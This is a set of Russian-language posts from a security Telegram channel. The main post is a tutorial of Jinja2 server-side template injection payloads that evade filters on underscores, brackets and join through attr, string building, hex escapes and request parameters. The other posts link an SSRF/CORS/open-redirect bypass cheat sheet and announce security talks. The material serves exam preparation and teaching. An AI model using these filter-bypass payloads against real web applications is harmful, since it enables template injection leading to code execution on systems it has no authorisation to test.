[Обход фильтров в SSTI в Jinja2]

Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие .__ в строке передаваемого темплейта, что не давало просто использовать пейлоад из HackTricks и наслаждаться RCE на уязвимой машине.
Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:

🔸 Для обхода фильтра по .__ можно использовать |attr()

{{ ''|attr('__class__’)}}

🔸 Можно использовать сложение строк или закодировать

{{request|attr("__"+"class"+"__")}}
{{''['\x5f\x5fclass\x5f\x5f']}}

🔸 Также можно обратиться к атрибутам по индексу

request["__class__"]

🔸 Кроме того, можно использовать Statements для определения переменных в темплейте

{% set string = "ssti" %}

{% set class = "__class__" %}

{{ string|attr(class)}}

{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

🔸 Для обхода фильтра по __ можно использовать requests.args для передачи частей полезной нагрузки в параметрах запроса и |join для соединения элементов в одну строку

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

🔸 Для обхода фильтра по [] можно использовать |getlist(). Данный метод возвращает всех значения, связанные с определенным ключом в запросе

{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

🔸 В случае, если встретился фильтр по |join, можно использовать |format для форматирования строк по переданным значениями

{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆


Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!

@GigaHack

#web #stand #SSTI #learn #OSWE

[Полезный читшит для SSRF, CORS и open-redirect]

В последнее время у portswigger-а активно пополняются заметки по различным темам. Эта шпаргалка содержит полезные нагрузки для обхода проверки URL. Приведенные списки слов полезны для реализации следующих типов атак: SSRF, неправильные конфигурации CORS и open-redirect. Очень полезно, если кончились идеи, а ошибку с кодом 403 обходить надо. Также будет полезно и тем, кто только погружается историю с данными веб-уязвимостями.

https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet


#web #bypass #cheet_sheet

Всем привет! Сегодня выступаю на вебинаре у УЦ Маском (@mascom_uc). Расскажу о том как проводить разведку при пентесте внешнего периметра и веб-приложения и какие инструменты можно для этого использовать.

Ждём всех сегодня в 19.00 по МСК 😎
Кто ещё не записался, сделать это можно по 👉 ссылке

👉Презентация

#web #conference

Презентация

*Для ребят с киберучений УрФУ

Что общего у защитников и нападающих?
И те, и другие придут 8 ноября в 13:20 на доклад Владислава Дриева «Центр мисконфигурации AD. Берем домены с помощью SCCM».

Регистрируйтесь на форум, чтобы не пропустить выступление.